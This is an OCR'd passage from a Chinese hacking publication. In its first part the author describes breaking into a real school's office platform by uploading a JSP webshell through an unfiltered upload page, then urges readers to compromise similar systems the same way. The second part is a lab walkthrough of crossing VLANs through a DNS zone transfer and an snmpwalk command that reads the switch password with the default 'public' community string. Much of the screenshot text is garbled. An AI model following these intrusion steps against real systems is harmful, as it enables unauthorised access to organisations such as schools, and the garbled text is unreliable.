<mark>正</mark> APMS扫描模 版设计器	流服务端		共民区社     ×       つ pceoms       ① 我的文档       ② 我的电脑       ④ 内上邻居	fckuploadfile file flash folder jig	
APMS扫描识 别子系统	<b>》。</b> Web服务端	ur.	<b>详细信息</b>	Si jquery-accordi a 4Ci Si js Si uyue	(C) y Team

图 4-2-16

进去服务器翻网站,心想可以通过找数据库的位置还有编辑器,翻了一会没看到数据库的 痕迹,看下编辑器,嘿嘿,給我翻到 fck 编辑器,如图 4-2-17:

3 后退 ▼ 3 ▼ 17   // 搜索 []	> 艾件夹 ┃			
······································	non (ICKeditor (editor (IIIemanager (D	rowser (defau) 大小	类型	修改日期
文件和文件夹任务	🛅 . svn			2012-04-19 1
	🚮 connectors		文件夹	2012-04-19 0
■ 重命名这个文件	👼 images		文件夹	2012-04-19 0
🚱 移动这个文件	👼 j s		文件夹	2012-04-19 0
「夏制这个文件	🔊 browser. css	2 KB	Cascading Style	2012-04-19 0
▲ 将这个文件发布到 Web	🕢 browser. html	5 KB	HTML 文件	2012-04-19 0
☐ 以申子邮件形式发送此	🔊 frmactualfolder. html	2 KB	HTML 文件	2012-04-19 0
≥ 文件	返 frmcreatefolder. html	3 КВ	HTML 文件	2012-04-19 0
🚵 打印这个文件	🗑 frmfolders. html	6 KB	HTML 文件	2012-04-19 0
🗙 删除这个文件	🗑 frmresourceslist. html	5 KB	HTML 文件	2012-04-19 0
**	🗑 frmresourcetype. html	2 KB	HTML 文件	2012-04-19 0
	🕢 frmupload. html	4 KB	HTML 文件	2012-04-19 0
其它位置 *				
🛅 browser				
🔒 我的文档				
■ 我的电脑				
				and the

图 4-2-17

果断复制路径到

http://xxxxx.szlg.edu.cn/common\fckeditor\editor\filemanager\browser\default\browser.html 打开上传,点击上传之后没有反映..没有上传上,如图 4-2-18:

Resource Type Image	<u>_</u> /
	Create New Folder Upload a new file in this folder (Upload in progress, please watter) C:\Documents and Settings\Administrator\My Documents\ASP本马\ma\mr (祖愛, )

图 4-2-18

	名称 🔺		大小	类型
文件和文件夹任务	🛠 🛅. svn		1.001.001.000.00	文件夹
	🧭 admin	n. html	7 KB	HTML 3
	admin 🖉 admin	n_add. html	3 KB	HTML J
🔮 税这个又任来反佈到 Web	u 🔬 auth	orityEdit.jsp	8 KB	JavaSo
☐ 共享此文件夹	auth	orityList.jsp	5 KB	JavaSo
••••	jasi 🛃	cHome.jsp	6 KB	JavaSo
	🛃 dept.	AuthorityHome.jsp	4 KB	JavaSo
其它位置	🖈 🙆 dept.	Edit.jsp	7 KB	JavaSo
wahann?	M dept.	List.jsp	7 KB	JavaSo
	aict:	ionaryEdit.jsp	(KB	Javabo
	aict:	ionaryList.jsp	6 KB	Javabo
🦞 我的电脑		510N. NUML	4 KD 4 MD	TIML )
🍕 网上邻居		sion_add.ntmi	4 ND 6 VD	T.mL J
101-00	a expos	rtotariotatlist. jsp	5 KB	Javaso
¥ la la b	N Down	aloduthoritridit ira	20 83	Thresh
计判信息	v Miesi	characut html	5 KB	HTWI
			J I I I I I I I I I I I I I I I I I I I	HOR H
			4 VP	Tama
有奏效,如图 <b>4-2-20:</b>	الدا - به ا	4-2-19	入工 目 つ012年00日12日	
有奏效,如图 4-2-20:	ы -	4-2-19	今天是2013年09月17日	日星期二
有奏效,如图 4-2-20:		4-2-19	☆天是2013年09月17日	星期二
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b>	公管理平台	4-2-19 深圳市龙岗区中海怡翠学校2012-201	◇天是2013年09月17日 3学年度第二 <u>学</u> 期 💌	3 星期二
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b>	公管理平台	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201	>天是2013年09月17日 3学年度第二 <u>学期</u> ▼ 2学年度第一学期	3 星期二 ↓客)
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 新 : 高在线 修共有: 同	A A A A A A A A A A A A A A	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2011-201	>天是2013年09月17日 3学年度第二学期 2学年度第一学期 2学年度第二学期	∃ 星期二 【↓客)
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好,: 圖在线 您共有: □	A 会管理平台	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201	→ 天是2013年09月17日 3学年度第二学期 2学年度第一学期 2学年度第二学期 1学年度第二学期	] 星期二 ●客)
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好,: 圖在线 您共有: 组织 导航	A な管理平台 条未读通知 編教 編教	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201	<ul> <li>→ 天是2013年09月17日</li> <li>3学年度第二学期</li> <li>2学年度第一学期</li> <li>2学年度第二学期</li> <li>1学年度第二学期</li> <li>1学年度第二学期</li> </ul>	■ <b>■</b> 星期二 <b>↓</b> 客)
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好,: 3在线 您共有: 3	A な管理平台 条未读通知 編 築特: 編 数	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	>天是2013年09月17日 3学年度第二学期 2学年度第一学期 2学年度第二学期 1学年度第二学期 3学年度第一学期 3学年度第一学期 3学年度第一学期	] 星期二 ↓客/
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好, <b>2</b> 音在线 您共有: 组织 导航	A 条 未 读 通知 後 海 塊 : は し / / / / / / / / / / / / /	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	→ 天是2013年09月17日 3学年度第二学期 2学年度第一学期 2学年度第二学期 1学年度第二学期 3学年度第一学期 3学年度第一学期	3 星期二
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好, <b>*</b> 《在线 您共有: 组织 导航	A な管理平台 条未读通知 編板 後海塊:祭□/strong:	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	>天是2013年09月17日 3学年度第二学期 2学年度第一学期 2学年度第二学期 1学年度第二学期 3学年度第一学期 3学年度第二学期	3 星期二 ↓客/
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好, <b>2</b> 番线 您共有: 组织 导航	な 管 理 平 台 条未读通知 縦 後海境:锛□/strong=	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	→ 天是2013年09月17日 3学年度第二学期 2学年度第一学期 1学年度第二学期 3学年度第二学期 3学年度第二学期	] 星期二 ↓客/
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好, : 《在线 您共有: 《 组织 导航	な管理平台	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 梁圳市龙岗区中海怡翠学校2012-201	<ul> <li>→ 天是2013年09月17日</li> <li>3学年度第二学期</li> <li>2学年度第一学期</li> <li>2学年度第二学期</li> <li>3学年度第一学期</li> <li>3学年度第二学期</li> </ul>	■ ■ ■
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好, <b>*</b> 《在线 您共有: 组织 导航	エ     エ     エ     エ     エ     ビ     エ     ビ     エ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	>天是2013年09月17日 3学年度第二学期 2学年度第一学期 2学年度第二学期 1学年度第二学期 3学年度第一学期	 ↓ 客/
有奏效,如图 4-2-20: <b>悠悠 校 园 办</b> 好, <b>*</b> 3 在线 您共有: 组织 导航	エ     エ     エ     エ     エ     ビ     エ     ビ     ボ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	<ul> <li>&gt; 天是2013年09月17日</li> <li>3 学年度第二学期</li> <li>2 学年度第一学期</li> <li>2 学年度第二学期</li> <li>3 学年度第二学期</li> <li>3 学年度第二学期</li> </ul>	王 王 王 王 王 王 王 王 二 二 二 二 二 二 二 二 二 二 二 二
有奏效,如图 4-2-20: <b>悠悠                                   </b>	エ     エ     エ     エ     ビ     エ     ビ     ビ     ビ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 梁圳市龙岗区中海怡翠学校2012-201	<ul> <li>→ 天是2013年09月17日</li> <li>3学年度第二学期</li> <li>2学年度第一学期</li> <li>2学年度第二学期</li> <li>3学年度第二学期</li> <li>3学年度第二学期</li> </ul>	■ ■ ■
有奏效,如图 4-2-20: <b>悠悠 校 园 小</b> 好, : 《在线 您共有: 组织 导航	エ     エ     エ     エ     エ     ビ     エ     ビ     エ     ビ     ボ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ     ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ          ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ      ジ	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 梁圳市龙岗区中海怡翠学校2012-201	>天是2013年09月17日 3学年度第二学期 2学年度第一学期 1学年度第二学期 3学年度第一学期	■ ] 星期二 【*客/
有奏效,如图 4-2-20: <b>悠悠 校 园 介</b> 好, : 3 在线 悠共有: 3 组织 导航	エ     エ     エ     エ     エ     ビ     エ     ビ     エ     ビ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ     ボ	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201	>天是2013年09月17日 3学年度第二学期 2学年度第一学期 1学年度第二学期 3学年度第一学期 3学年度第二学期	■ ] 星期二 ● 客,
有奏效,如图 4-2-20: <b>悠悠 校 园 小</b> 好, : 已在线 您共有: □ 组织 导航	エン	4-2-19 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2011-201 深圳市龙岗区中海怡翠学校2010-201 深圳市龙岗区中海怡翠学校2012-201 深圳市龙岗区中海怡翠学校2012-201 梁圳市龙岗区中海怡翠学校2012-201	→ 天是2013年09月17日 3学年度第二学期 2学年度第一学期 1学年度第二学期 3学年度第一学期	■ ■ 星期二 ● 客

看来 fck 是要放弃了,继续翻网站,试过了,添加帐号 绕过后台这些,如图 4-2-19:



不知道怎么没加上,转去看看其他地方吧......看到一个上传,如图 4-2-21:

后退 🔹 🕤 🔹 🍞 🔎 搜索 👔	> 文件夹 🛛 🛄 -		
E @ 🛅 F:\pceoms\webapp2\com	mon		
	名称 🔺	大小	类型
文件和文件夹任务 🛛 🛠	🔊 403. jsp	1 KB	JavaScrip
- 第 王会友这么女供	🔊 404. jsp	1 KB	JavaScrip
■ 里印名这个文件	🔊 500. jsp	1 KB	JavaScrip
13 移动这个文件	🔊 aaa. html	1 KB	HTML 文件
🗋 复制这个文件	🔊 alertMsg. jsp	1 KB	JavaScrip
🦲 将这个文件发布到 Web	🔊 assertStaff. jsp	2 KB	JavaScrip
🦾 以申子邮件形式发送此	🔊 authorityListx. jsp	6 KB	JavaScrip
┙ 文件	🔊 calendar. htm	11 KB	HTM 文件
🗙 删除这个文件	🔊 calendar. js	26 KB	JScript S
	🔊 contentUploadFile. jsp	13 KB	JavaScrip
	🔊 contentUploadImage. jsp	13 KB	JavaScrip
其它位置	🔊 contentUploadVideo. jsp	13 KB	JavaScrip
🚗 webenn?	🔊 doc. jsp	3 KB	JavaScrip
	🔊 footer. jsp	1 KB	JavaScrip
	🔊 header. jsp 🛛 📶	1 2 KB	JavaScrip
🚽 我的电脑	🔊 js_city. js	GIL 3 KB.	JScript S
📢 网上邻居	🔊 menu. jsp 📃 🚺 🌅	2 KB	JavaScrip
	🔊 printTable. jsp 🛛 🖉 🗐	2 KB	JavaScrip

#### 好东西,访问看看,如图 4-2-22:

地址 (D) @ http://szlshizhwayy szlg.edu.cn/common/contentUploadFile.jsp

🖌 🄁 转

选择文件		上传
	<b>A</b>	

图 4-2-22 我又看到了希望,选择文件,上传,如图 4-2-23:

选择文件	上传
js.jsp	▲ 6.13KB 上传完毕 <b>取消</b>

图 4-2-23

呵呵呵。没有过滤,爽歪歪。不过看不到地址,抓包,如图 4-2-24:





到了服务器看下文件保存路径,如图 4-2-25:



访问网站/fckuploadfile/webConotent/file/1379419091303577736.jsp,如图 4-2-26:

🗿 500 - 系统内部错误 - Ticrosoft Internet Explorer		
文件 (2) 编辑 (2) 查看 (2) 收藏 (4) 工具 (2) 帮助 (4)		<b>N</b>
🔾 后退 🔹 🕥 - 💽 🛃 🏠 🔎 搜索 🚖 收藏夹 🤣 🎯 - چ 🔳 -		
地址 (D) 🗃 http://s-' ' ' szlg. edu. cn/fckuploadfile/webConotent/file/1379419091303577736. jsp 💌	🔁 转到	链接
了休业中中的研究		<
<b>杀</b> 统反生内部钳沃.		
返回首页		

图 4-2-26

D:\PCEOMS\webap	p\fckuploadfile\webConot	ent\file\	+	✓ 读I	
21, 15, 12, 163	目录 (0), 文件 (19)	名称	时间	へ大小	属性
🧇 C:		1379419218521	216875 2013-09-17 20:00:1	8 24883	RW
🧼 D:		1379419091303	577736.jsj 2013-09-17 19:58:1	1 6275	RW
E 🚞 PCEOMS		1369702015464	134830 2013-05-28 08:46:5	5 1364992	RW
🖃 🚞 webapp	)	1369701269377	823401 2013-05-28 08:34:2	9 445440	RW
	Kuploadfile	1369700669650	185870, 2013-05-28 08:24:2	9 238592	RW
	webConotent	1365059481966	777020 2013-04-04 15:11:2	1 101888	RW
🗁 file		1364950346717	539922 2013-04-03 08:52:2	6 34816	RW
NgP E.		1364896358423	784338 2013-04-02 17-52 3	8 180736	R W
		图 4-2-27			

成功拿下…大家以后看到这种系统可以这样拿下哦…希望大家遇到轻易放弃,当然也不要太 执着。因为是看到这个网站系统漏洞百出我才去翻网站找漏洞。 (全文完)责任编辑: 鲨影 sharow

## 第12节 内网渗透中跨 vlan 渗透的一种思路

作者: DM\_

A AVE AND A DESCRIPTION OF A

来自:法客论坛 - F4ckTeam

网址: http://team.f4ck.org

#### 前言

随着日益发展的网络技术,网络线路也变的越来越复杂。渗透测试人员在 web 中通过注入, 上传等基本或高级脚本渗透方法到达了边界服务器。再深入时则会面对更复杂的网络。比如 如何跨 vlan。

什么是 vlan

http://baike.baidu.com/history/id=9328829 测试拓扑图,如图 4-5-1:



图 4-5-1

#### 测试基本状况概述

一共选取了三台服务器和一个 H3C s3610 三层交换机.顺带笔者的一台笔记本(Kali Linux)。 三台服务器代表了 tec503 的基本业务划分。攻击者处在和 webserver 相同的 vlan200 中。并 且已控制到 webserver。在交换机上划分了三个 vlan 将 Tec503(假想的目标公司)的数据服务 器(dataserver.tec503.com)和 web 服务器(webserver.tec503.com)及域控分别划分在三个 vlan(vlan100, vlan200, vlan300)下。vlan100 和 vlan200 不能相互访问。但是都可以访问 到 vlan300。

交换机开启 snmp 和 telnet, snmp 一般用来监控交换机流量等。telnet 用于管理三层交换机。 测试目标

在尽可能少留下痕迹的前提下,接触到 dataserver 的数据。

#### 前期基本渗透过程

在前期信息搜集时发现 tec503.com 存在域传送漏洞。

由此确定了此次测试的目标 ip(5.5.6.4), 如图 4-5-2:

C81.	C:\Windows\syste	m32\cmd.exe - nslookup -		×
C:\Users\DM_>nslookup DNS request timed out. timeout was 2 seco 默认服务器: UnKnown Address: 10.0.2.3	onds.			^
<pre>&gt; ls tec503.com [UnKnown] tec503.com. tec503.com. tec503.com. tec503.commsdcs admin-59274b6cf dataserver DomainDnsZones ForestDnsZones webserver &gt;</pre>	A A NS NS A A A A A A	10.0.2.3 10.0.2.2 server = test.tec503.com server = admin-59274b6cf.tec503.co server = admin-59274b6cf.tec503.co 10.0.2.3 5.5.6.4 10.0.2.3 10.0.2.3 172.10.0.3	) m ) m	

图 4-5-2

并且 webserver 对外开放。在基本探测并且存在 web 漏洞。在获得 webshell 之后并成功获

取到管理权限。在 webserver 上查看到网关 ip 为 172.10.0.1, 试着 ping 一下, 如图 4-5-3:

\_ 🗆 🗡 C:\Windows\system32\cmd.exe 0.5 Microsoft Windows [版本 6.2.9200] (c) 2012 Microsoft Corporation。保留所有权利。 C:\Users\DM\_>ping 172.10.0.1 正在 Ping 172.10.0.1 具有 32 字节的数据: 来自 172.10.0.1 的回复: 字节=32 时间=1ms TTL=255 172.10.0.1 的 Ping 统计信息: 数据包: 已发送 = 4, 已接收 = 4, 丢失 = 0 <0% 丢失>, 往返行程的估计时间<以毫秒为单位>: 最短 = 1ms, 最长 = 1ms, 平均 = 1ms C:\Users\DM\_>

#### 图 4-5-3

可以 ping 通。telnet 上去看到是一台 H3C 设备,如图 4-5-4:



图 4-5-4

尝试 123456, password, manager 等简单弱口令登陆,结果都失败。

尝试 snmp 弱口令探测(这里的弱口令是指 snmp 管理时用到的团体字符串。

一般可读权限的为 public,可读可写的默认为 private),如图 4-5-5:



图 4-5-5

发现果真使用 public 默认的可读团体字符串。 继续尝试使用 snmp 获取到 H3C 设备密码,如图 4-5-6:

root@bogon:~# snmpwalk -c public -v 2c 172.10.0.1 1.3.6.1.4.1.25506.2.12
.1.1.1.1
iso.3.6.1.4.1.25506.2.12.1.1.1.1 = STRING: "admin"
root@bogon:~#

图 4-5-6

